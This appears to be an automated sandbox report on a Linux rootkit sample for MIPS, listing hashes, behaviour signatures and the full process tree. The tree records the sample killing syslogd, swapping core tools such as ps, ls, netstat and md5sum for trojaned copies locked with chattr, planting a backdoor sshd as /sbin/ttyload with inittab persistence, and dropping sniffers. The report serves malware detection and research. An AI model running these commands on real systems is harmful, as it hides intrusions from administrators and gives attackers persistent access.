Analysis

  • max time kernel
    72s
  • max time network
    73s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    15-07-2024 23:17

General

  • Target

    4bd599176fbaab489642f3fafb083862_JaffaCakes118

  • Size

    23KB

  • MD5

    4bd599176fbaab489642f3fafb083862

  • SHA1

    0e04611e74f58029492a2df576844dc8c4529e4e

  • SHA256

    c7d3a16ba29abcf5261b66af753f44124fcb3a303059f7cee04334983a3b6d16

  • SHA512

    d2be3727188dfffaee6b96296f0404e8e208a83cb83fbcab4d6eb833b9305b844dffdf73af61c6c63ab607d38df6dfe43c83b1935d2fb28039320cf6bb780645

  • SSDEEP

    384:z7WoIqPIkK+slvwzUvEEa2cC/bvynigxz9DYnY2c68:5IqAkK+slvwzF2CDYnYhf

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Attempts to change immutable files 22 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Write file to user bin folder 1 TTPs 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/4bd599176fbaab489642f3fafb083862_JaffaCakes118
    /tmp/4bd599176fbaab489642f3fafb083862_JaffaCakes118
    1⤵
    • Write file to user bin folder
    • Writes file to tmp directory
    PID:707
    • /usr/bin/whoami
      whoami
      2⤵
        PID:715
      • /bin/tar
        tar zxf ./bin.tgz
        2⤵
          PID:717
        • /bin/tar
          tar zxf ./conf.tgz
          2⤵
            PID:721
          • /bin/tar
            tar zxf ./lib.tgz
            2⤵
              PID:725
            • /bin/tar
              tar zxf ./utilz.tgz
              2⤵
                PID:729
              • /bin/tar
                tar zxf ./sshd.tgz
                2⤵
                  PID:738
                • /bin/rm
                  rm -rf ./sshd.tgz
                  2⤵
                    PID:742
                  • /bin/rm
                    rm -rf bin.tgz conf.tgz lib.tgz utilz.tgz
                    2⤵
                      PID:743
                    • /bin/sleep
                      sleep 2
                      2⤵
                        PID:744
                      • /usr/bin/killall
                        killall -9 syslogd
                        2⤵
                        • Reads runtime system information
                        PID:750
                      • /bin/date
                        date "+%S"
                        2⤵
                          PID:751
                        • /bin/sleep
                          sleep 2
                          2⤵
                            PID:753
                          • /bin/hostname
                            hostname -f
                            2⤵
                              PID:756
                            • /bin/grep
                              grep -v "^\$"
                              2⤵
                                PID:759
                              • /bin/grep
                                grep -v "^#" /etc/syslog.conf
                                2⤵
                                  PID:758
                                • /bin/grep
                                  grep "@"
                                  2⤵
                                    PID:760
                                  • /usr/bin/cut
                                    cut -d "@" -f 2
                                    2⤵
                                      PID:761
                                    • /bin/uname
                                      uname -n
                                      2⤵
                                        PID:762
                                      • /bin/mv
                                        mv lib/libproc.a /lib/
                                        2⤵
                                          PID:763
                                        • /bin/mv
                                          mv lib/libproc.so.2.0.6 /lib/
                                          2⤵
                                            PID:764
                                          • /sbin/ldconfig
                                            /sbin/ldconfig
                                            2⤵
                                              PID:765
                                            • /usr/bin/md5sum
                                              md5sum
                                              2⤵
                                                PID:767
                                              • /usr/bin/touch
                                                touch -acmr /bin/ls /etc/sh.conf
                                                2⤵
                                                  PID:768
                                                • /bin/chown
                                                  chown -f root:root /etc/sh.conf
                                                  2⤵
                                                    PID:769
                                                  • /usr/bin/chattr
                                                    chattr +isa /etc/sh.conf
                                                    2⤵
                                                      PID:770
                                                    • /bin/rm
                                                      rm -rf /tmp/bin/.sh/shdcf2
                                                      2⤵
                                                        PID:772
                                                      • /bin/mv
                                                        mv /tmp/bin/.sh/sshd_config /tmp/bin/.sh/shdcf
                                                        2⤵
                                                          PID:773
                                                        • /bin/mv
                                                          mv /tmp/conf/lidps1.so /lib/lidps1.so
                                                          2⤵
                                                            PID:774
                                                          • /usr/bin/touch
                                                            touch -acmr /bin/ls /lib/lidps1.so
                                                            2⤵
                                                              PID:775
                                                            • /usr/bin/touch
                                                              touch -acmr /bin/ls "/tmp/conf/*"
                                                              2⤵
                                                                PID:776
                                                              • /bin/mv
                                                                mv "/tmp/conf/*" /usr/include/
                                                                2⤵
                                                                  PID:777
                                                                • /bin/mkdir
                                                                  mkdir /lib/libsh.so
                                                                  2⤵
                                                                    PID:778
                                                                  • /usr/bin/touch
                                                                    touch -acmr /bin/ls /lib/libsh.so
                                                                    2⤵
                                                                      PID:779
                                                                    • /bin/mkdir
                                                                      mkdir /usr/lib/libsh
                                                                      2⤵
                                                                        PID:780
                                                                      • /usr/bin/touch
                                                                        touch -acmr /bin/ls /usr/lib/libsh
                                                                        2⤵
                                                                          PID:781
                                                                        • /bin/mv
                                                                          mv ".sh/*" /lib/libsh.so/
                                                                          2⤵
                                                                            PID:782
                                                                          • /bin/mv
                                                                            mv .sh/.bashrc /usr/lib/libsh
                                                                            2⤵
                                                                              PID:783
                                                                            • /bin/mv
                                                                              mv /lib/libsh.so/sshd /sbin/ttyload
                                                                              2⤵
                                                                                PID:784
                                                                              • /bin/chmod
                                                                                chmod a+xr /sbin/ttyload
                                                                                2⤵
                                                                                  PID:785
                                                                                • /bin/chmod
                                                                                  chmod o-w /sbin/ttyload
                                                                                  2⤵
                                                                                    PID:786
                                                                                  • /usr/bin/touch
                                                                                    touch -acmr /bin/ls /sbin/ttyload
                                                                                    2⤵
                                                                                      PID:787
                                                                                    • /usr/bin/chattr
                                                                                      chattr +isa /sbin/ttyload
                                                                                      2⤵
                                                                                        PID:788
                                                                                      • /bin/pidof
                                                                                        pidof ttyload
                                                                                        2⤵
                                                                                        • Reads runtime system information
                                                                                        PID:792
                                                                                      • /bin/mv
                                                                                        mv /tmp/bin/ttymon /sbin/ttymon
                                                                                        2⤵
                                                                                          PID:793
                                                                                        • /bin/chmod
                                                                                          chmod a+xr /sbin/ttymon
                                                                                          2⤵
                                                                                            PID:795
                                                                                          • /usr/bin/touch
                                                                                            touch -acmr /bin/ls /sbin/ttymon
                                                                                            2⤵
                                                                                              PID:797
                                                                                            • /usr/bin/chattr
                                                                                              chattr +isa /sbin/ttymon
                                                                                              2⤵
                                                                                                PID:798
                                                                                              • /bin/pidof
                                                                                                pidof ttymon
                                                                                                2⤵
                                                                                                • Reads runtime system information
                                                                                                PID:799
                                                                                              • /bin/cp
                                                                                                cp /bin/bash /lib/libsh.so
                                                                                                2⤵
                                                                                                  PID:801
                                                                                                • /usr/bin/chattr
                                                                                                  chattr -isa /etc/inittab
                                                                                                  2⤵
                                                                                                  • Attempts to change immutable files
                                                                                                  PID:803
                                                                                                • /bin/cat
                                                                                                  cat /etc/inittab
                                                                                                  2⤵
                                                                                                    PID:804
                                                                                                  • /bin/grep
                                                                                                    grep -v ttyload
                                                                                                    2⤵
                                                                                                      PID:805
                                                                                                    • /bin/grep
                                                                                                      grep -v getty
                                                                                                      2⤵
                                                                                                        PID:806
                                                                                                      • /bin/cat
                                                                                                        cat /etc/inittab
                                                                                                        2⤵
                                                                                                          PID:808
                                                                                                        • /bin/grep
                                                                                                          grep getty
                                                                                                          2⤵
                                                                                                            PID:809
                                                                                                          • /bin/cat
                                                                                                            cat /tmp/.init2
                                                                                                            2⤵
                                                                                                              PID:811
                                                                                                            • /usr/bin/touch
                                                                                                              touch -acmr /bin/ls /usr/sbin/ttyload
                                                                                                              2⤵
                                                                                                                PID:812
                                                                                                              • /bin/chmod
                                                                                                                chmod +x /usr/sbin/ttyload
                                                                                                                2⤵
                                                                                                                  PID:813
                                                                                                                • /usr/bin/chattr
                                                                                                                  chattr +isa /usr/sbin/ttyload
                                                                                                                  2⤵
                                                                                                                  • Attempts to change immutable files
                                                                                                                  PID:814
                                                                                                                • /usr/sbin/ttyload
                                                                                                                  /usr/sbin/ttyload
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:816
                                                                                                                  • /sbin/ttyload
                                                                                                                    /sbin/ttyload -q
                                                                                                                    3⤵
                                                                                                                      PID:817
                                                                                                                    • /sbin/ttymon
                                                                                                                      /sbin/ttymon
                                                                                                                      3⤵
                                                                                                                        PID:818
                                                                                                                    • /usr/bin/touch
                                                                                                                      touch -amcr /etc/inittab /tmp/.init1
                                                                                                                      2⤵
                                                                                                                        PID:819
                                                                                                                      • /bin/mv
                                                                                                                        mv -f /tmp/.init1 /etc/inittab
                                                                                                                        2⤵
                                                                                                                        • Reads runtime system information
                                                                                                                        PID:821
                                                                                                                      • /bin/rm
                                                                                                                        rm -rf /tmp/.init2
                                                                                                                        2⤵
                                                                                                                          PID:822
                                                                                                                        • /bin/grep
                                                                                                                          grep ttyload /etc/inittab
                                                                                                                          2⤵
                                                                                                                            PID:824
                                                                                                                          • /usr/bin/md5sum
                                                                                                                            /usr/bin/md5sum /bin/ps
                                                                                                                            2⤵
                                                                                                                              PID:826
                                                                                                                            • /usr/bin/md5sum
                                                                                                                              /usr/bin/md5sum /bin/ls
                                                                                                                              2⤵
                                                                                                                                PID:827
                                                                                                                              • /usr/bin/md5sum
                                                                                                                                /usr/bin/md5sum /usr/bin/find
                                                                                                                                2⤵
                                                                                                                                  PID:828
                                                                                                                                • /usr/bin/md5sum
                                                                                                                                  /usr/bin/md5sum /usr/bin/top
                                                                                                                                  2⤵
                                                                                                                                    PID:829
                                                                                                                                  • /usr/bin/md5sum
                                                                                                                                    /usr/bin/md5sum /usr/bin/md5sum
                                                                                                                                    2⤵
                                                                                                                                      PID:831
                                                                                                                                    • /tmp/encrypt
                                                                                                                                      ./encrypt -e .shmd5 /dev/srd0
                                                                                                                                      2⤵
                                                                                                                                        PID:832
                                                                                                                                      • /usr/bin/touch
                                                                                                                                        touch -acmr /bin/ls /dev/srd0
                                                                                                                                        2⤵
                                                                                                                                          PID:834
                                                                                                                                        • /usr/bin/chattr
                                                                                                                                          chattr a+r /dev/srd0
                                                                                                                                          2⤵
                                                                                                                                          • Attempts to change immutable files
                                                                                                                                          PID:835
                                                                                                                                        • /bin/chown
                                                                                                                                          chown -f root:root /dev/srd0
                                                                                                                                          2⤵
                                                                                                                                            PID:837
                                                                                                                                          • /bin/rm
                                                                                                                                            rm -rf .shmd5
                                                                                                                                            2⤵
                                                                                                                                              PID:838
                                                                                                                                            • /usr/bin/touch
                                                                                                                                              touch -acmr /sbin/ifconfig ifconfig
                                                                                                                                              2⤵
                                                                                                                                                PID:840
                                                                                                                                              • /usr/bin/touch
                                                                                                                                                touch -acmr /bin/ps ps
                                                                                                                                                2⤵
                                                                                                                                                  PID:841
                                                                                                                                                • /usr/bin/touch
                                                                                                                                                  touch -acmr /bin/ls ls
                                                                                                                                                  2⤵
                                                                                                                                                    PID:842
                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                    touch -acmr /bin/netstat netstat
                                                                                                                                                    2⤵
                                                                                                                                                      PID:843
                                                                                                                                                    • /usr/bin/touch
                                                                                                                                                      touch -acmr /usr/bin/find find
                                                                                                                                                      2⤵
                                                                                                                                                        PID:845
                                                                                                                                                      • /usr/bin/touch
                                                                                                                                                        touch -acmr /usr/bin/top top
                                                                                                                                                        2⤵
                                                                                                                                                          PID:846
                                                                                                                                                        • /usr/bin/touch
                                                                                                                                                          touch -acmr /usr/sbin/lsof lsof
                                                                                                                                                          2⤵
                                                                                                                                                            PID:848
                                                                                                                                                          • /usr/bin/touch
                                                                                                                                                            touch -acmr /sbin/syslogd syslogd
                                                                                                                                                            2⤵
                                                                                                                                                              PID:849
                                                                                                                                                            • /usr/bin/touch
                                                                                                                                                              touch -acmr /usr/bin/slocate slocate
                                                                                                                                                              2⤵
                                                                                                                                                                PID:850
                                                                                                                                                              • /usr/bin/touch
                                                                                                                                                                touch -acmr /usr/bin/dir dir
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:851
                                                                                                                                                                • /usr/bin/touch
                                                                                                                                                                  touch -acmr /usr/bin/md5sum md5sum
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:853
                                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                                    touch -acmr /usr/bin/pstree pstree
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:854
                                                                                                                                                                    • /bin/mkdir
                                                                                                                                                                      mkdir /usr/lib/libsh/.backup
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:856
                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                        chattr -isa /bin/ps
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                        PID:857
                                                                                                                                                                      • /bin/cp
                                                                                                                                                                        cp /bin/ps /usr/lib/libsh/.backup
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:859
                                                                                                                                                                        • /bin/mv
                                                                                                                                                                          mv -f ps /bin/ps
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:861
                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                            chattr +isa /bin/ps
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                            PID:862
                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                            chattr -isa /sbin/ifconfig
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                            PID:864
                                                                                                                                                                          • /bin/cp
                                                                                                                                                                            cp /sbin/ifconfig /usr/lib/libsh/.backup
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:866
                                                                                                                                                                            • /bin/mv
                                                                                                                                                                              mv -f ifconfig /sbin/ifconfig
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:867
                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                chattr +isa /sbin/ifconfig
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                PID:869
                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                chattr -isa /bin/netstat
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                PID:871
                                                                                                                                                                              • /bin/cp
                                                                                                                                                                                cp /bin/netstat /usr/lib/libsh/.backup
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:873
                                                                                                                                                                                • /bin/mv
                                                                                                                                                                                  mv -f netstat /bin/netstat
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:875
                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                    chattr +isa /bin/netstat
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                    PID:877
                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                    chattr -isa /usr/bin/top
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                    PID:879
                                                                                                                                                                                  • /bin/cp
                                                                                                                                                                                    cp /usr/bin/top /usr/lib/libsh/.backup
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                    PID:880
                                                                                                                                                                                  • /bin/mv
                                                                                                                                                                                    mv -f top /usr/bin/top
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:881
                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                      chattr +isa /usr/bin/top
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Attempts to change immutable files
                                                                                                                                                                                      PID:883
                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                      chattr -isa /bin/ls
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Attempts to change immutable files
                                                                                                                                                                                      PID:884
                                                                                                                                                                                    • /bin/cp
                                                                                                                                                                                      cp /bin/ls /usr/lib/libsh/.backup
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:887
                                                                                                                                                                                      • /bin/mv
                                                                                                                                                                                        mv -f ls /bin/ls
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                        PID:889
                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                        chattr +isa /bin/ls
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                        PID:890
                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                        chattr -isa /usr/bin/find
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                        PID:891
                                                                                                                                                                                      • /bin/cp
                                                                                                                                                                                        cp /usr/bin/find /usr/lib/libsh/.backup
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:893
                                                                                                                                                                                        • /bin/mv
                                                                                                                                                                                          mv -f find /usr/bin/find
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:895
                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                            chattr +isa /usr/bin/find
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                            PID:898
                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                            chattr -isa /usr/bin/pstree
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                            PID:900
                                                                                                                                                                                          • /bin/cp
                                                                                                                                                                                            cp /usr/bin/pstree /usr/lib/libsh/.backup
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:902
                                                                                                                                                                                            • /bin/mv
                                                                                                                                                                                              mv -f pstree /usr/bin/pstree
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:903
                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                chattr +isa /usr/bin/pstree
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                PID:904
                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                chattr -isa /usr/bin/md5sum
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                PID:906
                                                                                                                                                                                              • /bin/cp
                                                                                                                                                                                                cp /usr/bin/md5sum /usr/lib/libsh/.backup
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:908
                                                                                                                                                                                                • /bin/mv
                                                                                                                                                                                                  mv -f md5sum /usr/bin/md5sum
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:909
                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                    chattr +isa /usr/bin/md5sum
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                                    PID:910
                                                                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                                                                    touch -acmr /bin/ls /tmp/utilz
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:914
                                                                                                                                                                                                    • /usr/bin/touch
                                                                                                                                                                                                      touch -acmr /bin/ls "/tmp/utilz/*"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:915
                                                                                                                                                                                                      • /bin/mv
                                                                                                                                                                                                        mv /tmp/utilz /usr/lib/libsh/
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:916
                                                                                                                                                                                                        • /bin/mkdir
                                                                                                                                                                                                          mkdir /usr/lib/libsh/.sniff
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:918
                                                                                                                                                                                                          • /bin/mv
                                                                                                                                                                                                            mv /tmp/bin/shsniff /usr/lib/libsh/.sniff/shsniff
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:919
                                                                                                                                                                                                            • /bin/mv
                                                                                                                                                                                                              mv /tmp/bin/shp /usr/lib/libsh/.sniff/shp
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:920
                                                                                                                                                                                                              • /bin/mv
                                                                                                                                                                                                                mv /tmp/bin/shsb /usr/lib/libsh/shsb
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:921
                                                                                                                                                                                                                • /bin/mv
                                                                                                                                                                                                                  mv /tmp/bin/hide /usr/lib/libsh/hide
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:923
                                                                                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                                                                                    touch -acmr /bin/ls /usr/lib/libsh/.sniff/shsniff
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:924
                                                                                                                                                                                                                    • /usr/bin/touch
                                                                                                                                                                                                                      touch -acmr /bin/ls /usr/lib/libsh/.sniff/shp
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:925
                                                                                                                                                                                                                      • /usr/bin/touch
                                                                                                                                                                                                                        touch -acmr /bin/ls /usr/lib/libsh/shsb
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:926
                                                                                                                                                                                                                        • /usr/bin/touch
                                                                                                                                                                                                                          touch -acmr /bin/ls /usr/lib/libsh/hide
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:927
                                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                                            chmod +x "/usr/lib/libsh/.sniff/*"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:928
                                                                                                                                                                                                                            • /bin/chmod
                                                                                                                                                                                                                              chmod +x /usr/lib/libsh/shsb
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:929
                                                                                                                                                                                                                              • /bin/chmod
                                                                                                                                                                                                                                chmod +x /usr/lib/libsh/hide
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:930
                                                                                                                                                                                                                                • /bin/ps
                                                                                                                                                                                                                                  ps aux
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • Reads CPU attributes
                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                  PID:931
                                                                                                                                                                                                                                • /bin/cat
                                                                                                                                                                                                                                  cat /tmp/.procs
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:933
                                                                                                                                                                                                                                  • /bin/grep
                                                                                                                                                                                                                                    grep named
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:934
                                                                                                                                                                                                                                    • /bin/cat
                                                                                                                                                                                                                                      cat /tmp/.procs
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:936
                                                                                                                                                                                                                                      • /bin/grep
                                                                                                                                                                                                                                        grep smbd
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:937
                                                                                                                                                                                                                                        • /bin/cat
                                                                                                                                                                                                                                          cat /tmp/.procs
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:939
                                                                                                                                                                                                                                          • /bin/grep
                                                                                                                                                                                                                                            grep rpc.statd
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:940
                                                                                                                                                                                                                                            • /bin/rm
                                                                                                                                                                                                                                              rm -rf /tmp/.procs
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:941
                                                                                                                                                                                                                                              • /bin/cat
                                                                                                                                                                                                                                                cat /tmp/.stats
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:944
                                                                                                                                                                                                                                                • /bin/grep
                                                                                                                                                                                                                                                  grep 443
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:945
                                                                                                                                                                                                                                                  • /bin/grep
                                                                                                                                                                                                                                                    grep http
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:946
                                                                                                                                                                                                                                                    • /bin/rm
                                                                                                                                                                                                                                                      rm -rf /tmp/.stats
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:947
                                                                                                                                                                                                                                                      • /bin/mkdir
                                                                                                                                                                                                                                                        mkdir /usr/lib/libsh/.owned
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:948
                                                                                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                                                                                          chattr +isa /usr/lib/libsh
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                                                                                                          PID:949
                                                                                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                                                                                          chattr +isa /lib/libsh.so
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                                                                                                          PID:950
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q nscd
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:951
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q xntps
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:952
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q mountd
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:953
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q mserv
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:954
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q psybnc
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:955
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q t0rns
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:956
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q linsniffer
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:957
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q sniffer
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:958
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q lpsched
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:959
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q sniff
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:960
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q sn1f
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:961
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q sshd2
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:962
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q xsf
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:963
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q xchk
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:964
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q ssh2d
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:965
                                                                                                                                                                                                                                                        • /sbin/ifconfig
                                                                                                                                                                                                                                                          /sbin/ifconfig eth0
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:967
                                                                                                                                                                                                                                                          • /bin/grep
                                                                                                                                                                                                                                                            grep "inet addr:"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:968
                                                                                                                                                                                                                                                            • /usr/bin/awk
                                                                                                                                                                                                                                                              awk -F " " " {print \$2} "
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:969
                                                                                                                                                                                                                                                              • /usr/bin/cut
                                                                                                                                                                                                                                                                cut -c6-
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:970
                                                                                                                                                                                                                                                                • /bin/hostname
                                                                                                                                                                                                                                                                  hostname -f
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:971
                                                                                                                                                                                                                                                                  • /bin/uname
                                                                                                                                                                                                                                                                    uname -a
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:972
                                                                                                                                                                                                                                                                    • /usr/bin/awk
                                                                                                                                                                                                                                                                      awk "{ print \$11 }"
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:973
                                                                                                                                                                                                                                                                      • /bin/cat
                                                                                                                                                                                                                                                                        cat /tmp/info_tmp
